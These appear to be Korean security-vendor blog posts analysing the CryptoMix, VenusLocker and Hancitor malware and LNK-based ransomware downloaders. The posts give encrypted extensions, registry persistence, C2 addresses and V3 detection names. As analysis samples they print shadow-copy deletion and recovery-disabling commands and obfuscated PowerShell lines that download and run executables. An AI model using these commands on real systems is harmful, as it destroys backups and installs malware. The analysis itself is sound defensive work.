변경된 확장자

.code

.scl

.lesli

.rmd

.rmdk

[-1] 감염된 파일의 변경된 확장자 변경 정보

CryptoMix 암호화 대상 확장자는 약 1200여개 이며 [-2]에는 일부만 기술하였다

[-2] 암호화 대상 확장자 일부

CryptoMix1200여개의 확장자를 암호화 대상으로 하고 있으며 위 [-2] 에서 확인할 수 있듯이 아래한글 확장자인 .hwp 도 포함되어 있다.

 

하기 [-3]에 있는 문자열이 포함된 경로(ex: c:\windws)는 암호화를 진행하지 않으며 자기자신이 있는 경로의 파일도 암호화 하지 않는다.

windows

packages

cookies

programdata

microsoft

boot

application data

winnt

tmp

inetcache

nvidia

system volume information

$recycle.bin

temp

webcache

cache

program files (x86)

program files

temporary internet files

appdata

[-3] 암호화 제외 경로 문자열


 

파일 암호화 후 CryptoMix 는 아래 [-4]와 같이PC의 볼륨 쉐도우 삭제 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용해 복구 무력화를 진행한다.

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

wmic  shadowcopy delete

볼륨 쉐도우 삭제

net  stop vss

볼륨 쉐도우 서비스 중지

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

wbadmin delete catalog –quiet

백업 카탈로그 삭제

[-4] 사용자의 복구를 막는 명령어와 기능

일반적인 랜섬웨어는 파일을 암호화하여 목적 달성 후 흔적을 없애기 위해 자가 삭제하지만 CryptoMix의 경우 특정경로에 자기 복제 후 원본파일과 함께 모두 레지스트리 Run키에 등록하여 재부팅 후에도 다시 동작하여 감염을 하게 한다.

 

[그림-4] 레지스트리에 등록된 랜섬웨어

레지스트리

DATA

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Spy Security SoftWare

본 랜섬웨어

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\*Spy Security SoftWare

복사된 랜섬웨어

[-5] CryptoMix 레지스트리 등록 정보(*변형마다 다름)

CryptoMix는 네트워크 접속하여 사용자의 정보를 전송하고 종료된다.

접속 주소(일부 주소 * 처리)

37.59.39.53/os_information/010517/statistic_valid_os.php?info=**

176.123.26.7/offser_valid/pobin_validator/098019_203405/ms_statistic_os_key.php?info=**

[-6] CryptoMix 네트워크 접속 정보(*변형마다 다름)


 

랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서는 CryptoMix 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.CryptoMix (2017.01.26.00)

- Win-Trojan/CryptoMix.Gen (2017.01.26.00)

신고
Creative Commons License
Creative Commons License
Posted by JYP

2016년부터 20172월 현재까지 랜섬웨어 관련 바로가기(*.lnk) 악성코드가 꾸준히 발견되고 있다.

이메일 등에 첨부 된 형태로 유포되고, 워드 매크로 파일 내부에 존재해 매크로가 실행되면서 실행되기도 한다.

 

바로가기(*.lnk)Shell Link Binary File Format으로 다른 데이터를 접근하는데 필요한 정보를 포함하는 데이터이다.


[그림 1] LNK 구조

 

바로가기 파일(*.lnk)을 이용한 랜섬웨어는 주로 String Data를 이용하고, 최근 Extra data를 이용한 랜섬웨어도 발견되었다. Spora 랜섬웨어와 VenusLocker가 대표적으로 LNK를 이용한 랜섬웨어다.


랜섬웨어 관련 LNK 악성코드를 크게 세가지로 분류 할 수 있다.

1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2.     Powershell을 이용한 바로가기(*.lnk)

3.     VenusLocker에서 이용하는 바로가기(*.lnk)

 

발견 시점

주요 특징

2016년 이전

스크립트를 이용한 다운로더

20161

Powershell을 이용한 다운로더

201611

Powershell‘^’ 문자 추가

20171

Powershell function, 변수를 이용

20171

LNK구조(Extra data block)를 이용

[1] 2016년 이후 랜섬웨어 관련 바로가기(*.lnk) 악성코드


1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2016년 이전에는 바로가기(*.lnk) 악성코드는 .js, .vbs, .vbe 등 스크립트 파일을 실행시키고, 추가 악성행위를 하였으나 작년부터는 바로가기(*.lnk) 악성코드는 powershell을 이용해 악성 파일을 다운로드 하는 형태로 변화하였다.


[그림 2] .vbe를 실행시키는 바로가기(*.lnk)


2.     Powershell을 이용한 바로가기(*.lnk)

20161월 최초 발견된 Powershell을 이용한 랜섬웨어 다운로더 형태는 다운로드 주소와 저장되는 폴더/파일명을 평문으로 볼 수 있는 형태였다. [그림 3]

  

[그림 3] powershell을 이용한 LNK악성코드 (평문 데이터)

 

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden

(new-object System.Net.WebClient).DownloadFile('http://2**.**4.5**.**5:1**3/KJSA76.exe',

'%TEMP%\KJSA76.exe'); Start-Process "%TEMP%\KJSA76.exe"

[2] LNK악성코드 (평문 데이터)


201611월에 발견된 변형은 문자열 사이에 ‘^’ 문자가 추가되었다. 이는 Powershell을 실행하는데 문제는 없지만 백신진단을 우회하기 위해 나온 변형으로 보인다. [그림 4]

 

 

[그림 4] Powershell을 이용한 LNK악성코드 (‘^’ 문자)


C:\Windows\System32\cmd.exe /c "P^o^Wer^Sh^e^ll.^exe -exEc^UtIonPolICy bYpaS^S -^NoPrOF^ILe (^N^EW-ob^jEcT systeM.NET.wEB^clIE^nT).DoWnLO^a^d^Fil^e^

('http://**6.3**.**3.**7/gite.exe','%appDatA%.exE')^;^s^TA^rt^-P^RoceSs^ %appDatA%.exE"

[3] LNK악성코드 (‘^’ 문자)


그리고, 현재 유포되고 있는 형태는 20171월에 발견되었다. 단순 Download 명령을 사용하는

것이 아닌 함수와 변수 등을 이용해 악성 파일을 다운로드 받는 형태로 발전하였다. [그림 5]


[그림 5] Powershell을 이용한 악성코드 (함수, 변수 이용)


 

-ExecutionPolicyByPass -NoProfile -command  function g($f) { Start $f; }; $ll = 'sparkle**.com','res**.com','cre**.com','lu**.com','**.net'; $y = New-Object System.Net.WebClient; $ld = 0; $cs = [char]92; $fn = $env:temp+$cs; $lk = $fn+'a.txt'; if (!(Test-Path $lk)) { New-Item -Path $fn -Name 'a.txt' -ItemType File; for($n=1; $n -le 2; $n++) { for($i=$ld; $i -lt $ll.length; $i++) { $dn = 0; $f = $fn+'a'+$n+'.exe'; $u = 'http://'+$ll[$i]+'/counter/?i=(생략)&r='+$i+$n; $y.DownloadFile($u, $f); if (Test

-Path $f) { $var = Get-Item $f; if ($var.length -gt 10000) { $dn = 1; g($f); }; if($dn -eq 1) { $ld=$i; break; }; }; }; }; };

[4] LNK악성코드 (함수, 변수 이용)


 최근 국내에 유포 된 VenusLocker 랜섬웨어도 바로가기(*.lnk)를 이용하여 랜섬웨어를 실행시킨다.

( VenusLocker 랜섬웨어 정보 : http://asec.ahnlab.com/1054 )

[그림 6]과 같이 속성을 보면 자격증.jpg 이미지 파일을 실행하는 것으로 보여 일반 사용자들은 정상 파일로 오인하기 쉽다.


 

[그림 6] VenusLocker 바로가기(*lnk)


그러나, LNK 구조를 이용한 VenusLocker_korean.exe를 실행하는 악성 바로가기 파일이다.

[그림 7] Extra data Block에 존재하는 악성 실행 파일

 

Extra Data는 링크 대상에 대한 추가적인 정보를 나타내는 구조체 집합이다. 이 구조체는 기본 Shell Link Binary File Format에 추가 된 extra data section에 존재한다.


**참고자료 

MSDN :https://msdn.microsoft.com/en-us/library/dd891253.aspx

 

악성 코드는 스팸 메일을 통해 유포되고, 문서파일 내부 매크로에 존재하는 경우가 많으므로 출처를 알 수 없는 메일의 첨부파일은 열지 않도록 한다.

그리고, 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

 

현재 V3에서는 LNK 악성코드를 다음과 같은 진단명으로 진단하고 있다.

-       LNK/Agent (2016.01.15.00)

-       LNK/Downloader (2016.01.21.00)

-       LNK/Powershell (2016.09.09.00)

-       LNK/Runner.Gen (2016.12.22.03)

-       LNK/Venuslocker (2017.01.20.00)

신고
Creative Commons License
Creative Commons License
Posted by 이보원

최근 국내 관공서 등에 사회공학적 기법을 이용한 VenusLocker 랜섬웨어가 유포되고 있다. 해당 랜섬웨어는 주로 스팸메일을 이용하며 첨부된 악성 문서 파일을 통해 드롭 or 다운로드되거나 문서 파일로 가장하여 유포되기도 한다. 

따라서 사용자는 메일 내부의 첨부 파일 실행 시 의도된 파일이 맞는지, 신뢰할 수 있는 내용인지에 대한 확인이 필요하다.


VenusLocker 는 실행 시 대상 PC 의 모든 드라이브를 탐색하여 조건에 맞는 암호화 대상 파일을 선정, 이후 AES 알고리즘을 사용하여 파일을 암호화 시키는데 전제 동작 방식은 [그림 1] 과 같다.

[그림 1] VenusLocker 유포 및 동작 방식


스팸메일 본문에는 의미 있는 내용을 담고 있으며 사용자로 하여 의심 없이 첨부된 파일을 실행시키게끔 유도한다.

[그림 2] 스팸메일 본문


스팸메일에 따라 다양한 형태의 첨부 파일을 가지고 있으며, [그림 3] 처럼 악성 매크로를 포함한 워드 문서 파일의 경우 본문에서 사용자의 매크로 실행을 유도하며 이를 통해 VenusLocker 랜섬웨어를 드롭 or 다운로드 받아 실행시킨다.

[그림 3] 악성 매크로를 포함한 문서 파일


매크로는 난독화 되어 있으며 매크로에 따라 내부에 하드코딩된 주소에서 랜섬웨어를 다운로드 받거나 드롭한다.

[그림 4] 난독화된 매크로


 최근에는 문서 파일을 통한 간접 실행이 아닌 스팸메일에 직접 실행 파일을 첨부하는 형태도 확인되었으며, 이 경우에도 파일명과 확장자를 통해 문서 파일로 위장하고 있는 것을 알 수 있다.

[그림 5] 스팸메일에 직접 첨부된 랜섬웨어


따라서 다음과 같이 유포 방식의 변화를 추정할 수 있다.

[표 1] 유포 방식의 변화


VenusLocker 랜섬웨어는 다음과 같은 기능 및 특징을 가진다.


1. 감염 화면 및 파일 생성

실행 시 [그림 6] 과 같은 화면을 통해 사용자에게 감염 사실을 알리며 복구를 위해 500 달러에 해당 하는 비트코인을 요구한다. 또한 사용자 PC 의 바탕화면에 'ReadMe.txt' 를 생성하며 감염 사실 및 복구 절차에 대한 자세한 내용을 담고 있다.

[그림 6] 감염 화면


화면 종료 시 다음과 같은 팝업 창을 통해 경고문을 띄운다.

[그림 7] 종료 시 팝업 메시지

 

[그림 8] 사용자 PC 바탕화면에 생성되는 ReadMe.txt


2. 가상환경 체크

분석을 회피하기 위해 WMI (Windows Management Instrumentation) 서비스를 이용하여 'Virtual PC', 'VMware Workstation', 'Virtual Box' 등과 같은 가상환경을 체크하며 해당될 경우 프로그램을 종료한다.

[그림 9] 가상환경 체크


3. 날짜 비교

하드코딩된 기준 날짜와 비교하여 현재 시스템의 날짜가 이전일 경우만 실행된다. [그림 10] 의 경우 기준 날짜가 '2017-09-30' 이지만 [표 2] 와 같이 VenusLocker 랜섬웨어마다 다양한 값을 가진다.

[그림 10] 날짜 비교


[표 2] 다양한 기준 날짜


4. 사용자 정보 전송

사용자 PC 정보 (OS, Language, Time, PC name, User name 등) 를 수집하여 공격자 서버로 전송하며, 해당 정보를 조합한 값의 해시값으로 User ID 를 생성한다.

[그림 11] 사용자 정보 전송


[표 3] 사용자 정보 전송 주소


5. 키 생성

사용자 정보 전송이 성공하면 AES 암호화를 위한 키 값을 생성하며, 정보 전송 실패 시 [표 4] 의 하드코딩된 키 값을 사용한다.

[그림 12] 키 생성


[표 4] 내부 키 값


6. 암호화 대상 파일 확인

모든 로컬 드라이브내의 폴더를 검색하여 다음과 같이 암호화 대상 파일을 정한다.

1) 확장자

asf, gif, avi, pbf, dvx, wmmp, ink, cbr, tbz2, xwd, dvi, now, adr, pdf, bmp, wav, ra, evo, wmx, ini, cbz, tg, abw, dxe, odm, ap, xls, ppt, mp4, raw, flv, wvx, jif, gz, tlz, act, mlx, oft, aro, docx, pptx, pdd, saf, qtq, xvid, iff, gzig, vsi, adt, err, pwi, asa, xlsx, docm, php, val, tch, 3d, jpc, jgz, wad, aim, euc, rng, ascx, mp3, xlsm, aac, wave, rts, 3d4, jpf, pak, war, ans, faq, rtx, ashx, waw, pps, ac3, wow, rum, 3df8, jpw, pcv, xpi, asc, fdr, run, asmx, jpg, ppsx, amf, wpk, rv, pbs, mag, puz, z02, ase, fds, ssa, asp, jpeg, ppd, amr, 3g2, scn, adi, mic, rev, z04, bdp, gthr, text, indd, txt, eps, dwg, 3gp, srt, ais, mip, sdn, zap, bdr, idx, unx, asr, rtf, png, dxf, 3gp2, stx, amu, msp, sen, zipx, bib, kwd, wbk, qbb, doc, ace, accdb, 3mm, svi, arr, nav, sfs, zoo, boc, lp2, wsh, bml, rar, djvu, mod, amx, swf, bmc, ncd, sfx, ipa, crd, ltr, 7z, cer, zip, tar, tax2013, avs, trp, bmf, odc, sh, isu, diz, man, arc, cms, psd, cdr, tax2014, bik, vdo, cag, odi, shar, jar, dot, mbox, ari, crt, tif, max, oga, dir, wm, cam, opf, shr, js, dotm, msg, arj, dap, wma, wmv, ogg, divx, wmd, dng, qif, sqx, udf, dotx, nfo, car, htm, adr, ff, utc, ctt, sds, dpl, mxp, bak, rw2, aaf, ppam, sr2, jc, ap, gam, utx, dal, sql, dpr, oxt, odt, r3d, aep, sldx, bay, potm, aro, grf, uvx, ddc, stt, dsk, qpx, pst, ptx, aepx, sldm, crw, ppsm, asa, h3m, uxx, ddcx, tcx, dsp, qtr, log, pef, plb, class, cr2, prc, ascx, h4r, vmf, dex, thmx, eql, xla, mpg, srw, prel, db, dcr, prt, ashx, iwd, vtf, dif, txd, ex, xlam, mpeg, x3f, prproj, pdb, kdc, shw, asmx, ldb, w3g, dii, txf, f90, xll, odb, der, eat, dat, erf, std, asp, lgp, w3x, itdb, upoi, fla, xlv, wps, pem, ppj, csv, mef, ver, indd, lvl, wtd, itl, vmt, for, xpt, xlk, pfx, indl, xml, mrw, wpl, asr, map, wtf, kmz, wks, fpp, cfg, mdb, p12, indt, spv, nef, xlm, qbb, md3, ccd, lcd, wmdb, jav, cwf, dxg, p7b, indb, grle, nrw, yps, bml, mdl, cd, lcf, xl, java, dbb, wpd, p7c, inx, sv5, orf, 1cd, cer, nds, cso, mbx, xlc, lbi, slt, wb2, jfif, idml, game, raf, bck, cms, pbp, disk, mdn, xlr, owl, bp2, dbf, exif, pmd, slot, rwl, html, crt, ppf, dmg, odf, xlsb, pl, bp3, ai, docb, xqx, yab, tpu, dcu, dap, pwf, dvd, odp, xltx, plc, bpl, 3fr, xlt, svg, aip, tpx, dev, htm, pxp, fcd, ods, ltm, pli, clr, arw, xltm, as3, amxx, tu, dob, moz, sad, flp, pab, xlwx, pm, dbx, srf, xlw, as, ape, tur, dox, svr, sav, img, pkb, mcd, res, cp, qel, sdb, snp, api, vc, dpk, url, scm, isz, pkh, cap, rsrc, cpp, rgn, sdc, bkf, usa, uax, col, wdgt, scx, mdf, pot, cc, so, cs, rrt, adpb, ade, usx, umx, cty, abk, sdt, mds, potx, cod, swd, csi, rsw, dic, vcd, ut2, unr, dem, bic, spr, nrg, pptm, psa, qdf, dcp, rte, cch, vhd, ut3, uop, elf, big, sud, nri, blp, bsp, cgf, chk


2) 예외 폴더

Program Files, Microsoft Chart Controls, Windows NT, Program Files (x86), Microsoft Games, Windows Media Player, Windows, Microsoft Office, Windows Mail, Python27, Microsoft.NET,   NVIDIA Corporation, Python34, MicrosoftBAF, Adobe, AliWangWang, MSBuild, IObit, Avira, QQMailPlugin, AVAST Software, wamp, Realtek, CCleaner, Avira, Skype, AVG, 360, Reference Assemblies, Mozilla Firefox, ATI, Tencent, VirtualDJ, Google, USB Camera2, TeamViewer, Intel, WinRAR, ICQ, Internet Explorer, Windows Sidebar, java, Kaspersky Lab, Windows Portable Devices, Yahoo!, Microsoft Bing Pinyin, Windows Photo Viewer


3) 시스템 파일 및 '숨김' 속성을 가진 파일 제외


7. AES 암호화 (파일)

파일이 6. 의 모든 조건을 충족하면 5. 의 과정을 통해 생성된 키 값을 이용하여 AES 암호화를 수행한다. 이때 추가 확장자 검사를 수행하여 하기 확장자에 해당하는 파일일 경우 파일 전체 암호화 및 암호화된 파일명에 '.Venusf' 확장자를 사용한다.

[그림 15] 와 같이 6. 의 모든 조건을 충족하지만 하기 확장자에 해당하는 파일이 아닐 경우 파일의 일부만 암호화 (512 or 1024 Bytes, 랜섬웨어마다 상이) 를 수행하며 암호화된 파일명에 '.Venusp' 확장자를 사용한다.

파일명은 Base64 인코딩을 사용하여 암호화한다.

[전체 암호화 대상 리스트]

txt, cc, docb, doc, xlw, xlsx, jar, potx, ini, h, wps, dot, ppt, xlsm, csv, potm, php, cs, msg, docx, pot, xltx, xml, ppam, html, log, xls, docm, pps, xltm, dwg, ppsx, css, pl, xlt, dotx, pptx, xlsb, dxf, ppsm, py, java, xlm, dotm, pptm, xla, asp, sldx, c, cpp, wpd, rtf, xll, xlam, class, sldm


[그림 13] 파일 암호화


[그림 14] 원본 파일(좌), 암호화된 파일(우)


[그림 15] 일부만 암호화된 파일 (확장자 '.Venusp')


8. RSA 암호화 (키)

4. 의 사용자 정보 전송이 성공하여 AES 암호화에 사용되는 키 값을 생성한 경우, 내부에 하드코딩된 공개키 값을 이용하여 RSA 암호화를 수행한다. 이후 암호화된 키 값을 User ID 와 함께 공격자 서버로 전송한다.

[그림 16] RSA 암호화 (키) 및 전송


[표 5] 암호화된 키 값 전송 주소


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 시 사용자의 각별한 주의가 필요하다.

현재 V3 에서는 VenusLocker 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.VenusLocker (2016.12.26.08)


# 추가 확인 사항 (Update : 2017.02.22)

최근 발견된 VenusLocker 랜섬웨어는 한글 파일 (확장자 '.hwp') 을 대상으로 하고 있으며, 다음과 같은 변형 파일도 확인되었다.

1. '[표 4] 내부 키 값' 변경 : zyQCCu4MI*4T=v!YP4oe9S5hbcoTGb8A

2. '[표 2] 기준 날짜' : 2017-04-01

3. '[표 3] 사용자 정보 전송 주소' : http://185.106.122.2/create.php

4. '[표 5] 암호화된 키 값 전송 주소' : http://185.106.122.2/keysave.php

5. 본문 7. 의 암호화된 파일 확장자

1) 인코딩된 파일명에 '\' 문자가 포함될 경우 : '.VenusLfS', '.VenusLpS' ('부분' 암호화 파일)

2) 인코딩된 파일명에 '\' 문자가 포함되지 않을 경우 : '.VenusLf', '.VenusLp' ('부분' 암호화 파일)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

최근 Microsoft Office Word 문서 파일 내부의 사용자 정의 폼을 이용한 악성코드가 스팸 메일과같은 사회적 공학 기법 (Social Engineering) 을 이용하여 유포되고 있으므로 사용자의 각별한 주의가 필요하다.


해당 악성코드는 VBA (Visual Basic for Applications, Microsoft Office 응용프로그램의 확장을 위한 프로그래밍 언어) 매크로를 이용하여 사용자 정의 폼 내부 암호화된 쉘코드(Shellcode)와 내부에 숨겨진 악성 실행 파일을 통해 정상 프로세스에 인젝션(Injection)하여 악성 행위를 수행한다.

[그림 1] Flowchart


Word 문서 파일을 열면 본문의 이미지를 통해 사용자의 매크로 실행을 유도한다.

[그림 2] 본문 이미지


VBA Editor 내부의 VBA Project 를 통해 [그림 3] 과 같은 매크로와 사용자 정의 폼을 확인할 수 있다. 여기서 사용자 정의 폼이란 체크 박스’, ‘라디오 버튼’, ‘텍스트 박스등과 같이 응용프로그램과 사용자의 상호작용을 위해 사용자가 직접 작성하는 컨트롤들을 의미한다.

[그림 3] 매크로와 사용자 정의 폼


매크로는 [그림 4] 와 같이 암호화된 쉘코드를 복호화 후 실행하기 위해 사용자 정의 폼 내의 TabStrip 컨트롤에 접근한다.

[그림 4] TabStrip 컨트롤을 이용하는 매크로


쉘코드에 해당하는 데이터는 Word 문서 파일 압축 해제 시 생성되는 바이너리 파일 내부에서도 확인 가능하다.

[그림 5] 암호화된 쉘코드


매크로 코드는 [그림 4] 에서 가져온 데이터를 복호화하는 작업을 수행하는데, 해당 작업을 도식화하면 [그림 6] 과 같다.

[그림 6] 쉘코드 복호화 과정


매크로는 모듈 내부의 ‘RtlMoveMemory’, ‘VirtualAllocEx’, ‘EnumTimeFormatsW’ API 를 사용하여 복호화된 쉘코드를 실행시키며, 쉘코드는 [그림 7] 과 같이 Word 프로세스 메모리 영역 안에서 특정 마커(Marker)를 비교하는 루틴을 통해 암호화된 악성 실행 파일의 위치를 찾게 된다.

(이와 같은 기법을 흔히 에그 헌팅 (egg hunting) 이라 부르며 에그 헌팅이란 에그 헌터에 해당하는 최초 쉘코드를 통해 특정 마커와 같은 태그를 가진 실제 메인 코드를 찾아 실행시키는 일련의 과정들을 의미한다)

[그림 7] 특정 마커를 찾는 루틴(), 해당 마커가 포함된 데이터(아래)


쉘코드는 특정 마커를 가진 메모리 영역을 발견하면 [그림 8] 과 같은 코드를 통해 마커 뒷 부분에 존재하는 데이터를 1차 복호화한다.

[그림 8] 1차 복호화(), 복호화 후 생성되는 데이터(아래)


[그림 8] 에서 생성된 데이터를 2차 복호화인 Base64 디코딩 과정을 거치면 실제 악성 행위를 수행하는 실행 파일을 확인할 수 있다.

[그림 9] Base64 디코딩 과정을 통해 생성된 실행 파일 (일부)


이후 쉘코드는 생성된 실행 파일을 정상 프로세스에 인젝션 하기 위한 준비를 한다.


현재 실행되고 있는 OS 환경이 32비트이면 "%windir%\explorer.exe", 64비트이면 "%windir%\SysWOW64\svchost.exe" 파일을 CreateProcessA API 를 사용하여 Suspend 모드로 실행, 이후 인젝션 행위를 수행한다.

[그림 10] 인젝션 대상 프로세스 (64비트(), 32비트(아래))


정상 프로세스로 위장하기 위한 인젝션이 성공하면 악성코드는 감염 PC 의 사용자, 시스템 정보등을 C&C 주소로 전송하며, 해당 주소로부터 명령을 받아 파일 다운로드, 추가 인젝션 행위 등을 수행한다.

[그림 11] 인젝션된 파일이 수행하는 악성 행위


[그림 12] C&C 주소 (일부)


서두에서 언급한 것과 같이 해당 악성 파일은 스팸 메일을 통해 유포되는 경우가 많으며, Word 문서 파일 내부의 이미지를 통해 사용자로 하여금 큰 의심 없이 매크로를 실행시키도록 유도하므로 출처를 알 수 없는 메일의 첨부 파일 실행을 삼가고 확인되지 않은 문서 파일 내부의 매크로를 실행하는데 있어서 주의가 필요하다.

해당 유형의 악성코드는 V3 제품에서 다음과 같은 이름으로 진단하고 있다.

W97M/Hancitor (2016.11.24.07)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song